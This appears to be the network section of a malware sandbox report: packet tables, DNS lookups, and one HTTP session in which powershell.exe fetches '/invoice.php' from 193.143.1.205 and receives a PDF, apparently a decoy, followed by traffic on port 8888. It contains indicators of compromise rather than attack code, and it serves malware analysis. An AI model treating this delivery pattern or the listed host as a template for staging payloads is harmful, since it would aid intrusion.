Jan 10, 2025 23:04:22.042792082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042812109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042814016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042828083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042840004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042865038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.042905092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042956114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.042968988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.043001890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.043039083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.043051004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.043056965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.043067932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.043097019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.043122053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.043975115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.044002056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.044017076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.044028044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.044028044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.044059038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.058033943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058051109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058064938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058087111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058089972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.058108091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058123112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058129072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.058136940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058157921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.058161974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058173895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.058176041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058192968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058223009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.058353901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058367014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058381081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058393955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058397055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.058407068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058419943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058420897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.058453083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.058455944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.058500051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.058562994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.069525957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.077852011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.078840971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.078866005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.078885078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.078892946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.078911066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.078918934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.078918934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.078927040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.078950882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.078972101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.079005003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.122148991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.122176886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.122190952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.122201920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.122224092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.122227907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.122236967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.122247934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.122251987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.122267008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.122278929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.122317076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.127491951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.127516985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.127527952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.127564907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.127597094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.127623081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.127688885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.127701044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.127713919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.127727985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.127741098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.127769947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.127780914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.127789021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.127816916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.127829075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.127856016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.127870083 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.127959967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.127973080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.127985954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128000975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128015041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128016949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.128035069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.128101110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128113031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128142118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.128165960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128180027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128192902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128206015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.128207922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128248930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.128407001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128417015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128427982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128442049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128452063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.128453970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128468990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128473043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.128482103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128493071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.128525972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.128667116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128678083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128690958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128709078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128720999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128734112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.128735065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.128783941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.128783941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.128995895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129007101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129019022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129030943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129043102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129048109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129055977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129066944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129071951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129080057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129095078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129102945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129107952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129120111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129125118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129152060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129333019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129343987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129355907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129369974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129380941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129398108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129400015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129410028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129425049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129430056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129439116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129452944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129466057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129467964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129487038 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129656076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129697084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129806995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129825115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129837036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129848003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129859924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129862070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129873991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129885912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129893064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129898071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129909992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129923105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129940033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.129946947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.129987001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.130260944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130274057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130285978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130297899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130310059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130315065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.130322933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130332947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.130343914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130357027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130364895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.130369902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130382061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130398035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130408049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.130412102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130424976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130438089 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.130438089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130453110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130455971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.130466938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130480051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130481958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.130492926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.130516052 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.130531073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.148533106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.148557901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.148608923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.148632050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.148792028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.148802996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.148814917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.148827076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.148838043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.148842096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.148886919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.148941994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.148952961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.148963928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.148977041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.148984909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.148989916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.149003029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.149014950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.149030924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.149060011 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.168828011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.168840885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.168847084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.168911934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.168924093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.168930054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.168945074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.168957949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.168973923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.168996096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.213063002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.213080883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.213103056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.213115931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.213129997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.213162899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.213181973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.213219881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.213231087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.213243961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.213257074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.213288069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.223165035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.224075079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.224124908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.224138021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.224172115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.224241972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.224253893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.224267006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.224273920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.224287033 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.224318027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.224397898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.224409103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.224436998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.224510908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.224522114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.224534035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.224545956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.224546909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.224570990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.224575996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.224606037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.224637985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:22.235753059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.422751904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:22.544034958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:23.113111019 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:23.118119001 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:23.118192911 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:23.118412018 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:23.123174906 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:23.925400972 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 23:04:23.978838921 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 23:04:25.767760038 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:04:31.747162104 CET	59746	53	192.168.2.8	1.1.1.1
Jan 10, 2025 23:04:44.782913923 CET	52841	53	192.168.2.8	1.1.1.1
Jan 10, 2025 23:05:02.222023010 CET	53920	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:04:31.747162104 CET	192.168.2.8	1.1.1.1	0x9565	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:04:44.782913923 CET	192.168.2.8	1.1.1.1	0xc0ab	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:05:02.222023010 CET	192.168.2.8	1.1.1.1	0x6b23	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:04:31.717118025 CET	1.1.1.1	192.168.2.8	0x3b8c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:04:31.717118025 CET	1.1.1.1	192.168.2.8	0x3b8c	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:04:31.755110025 CET	1.1.1.1	192.168.2.8	0x9565	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:04:44.790127993 CET	1.1.1.1	192.168.2.8	0xc0ab	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:05:02.229507923 CET	1.1.1.1	192.168.2.8	0x6b23	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:05:34.376447916 CET	1.1.1.1	192.168.2.8	0xac20	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:05:34.376447916 CET	1.1.1.1	192.168.2.8	0xac20	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	7568	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:04:20.598560095 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 23:04:21.430160046 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:04:21 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R 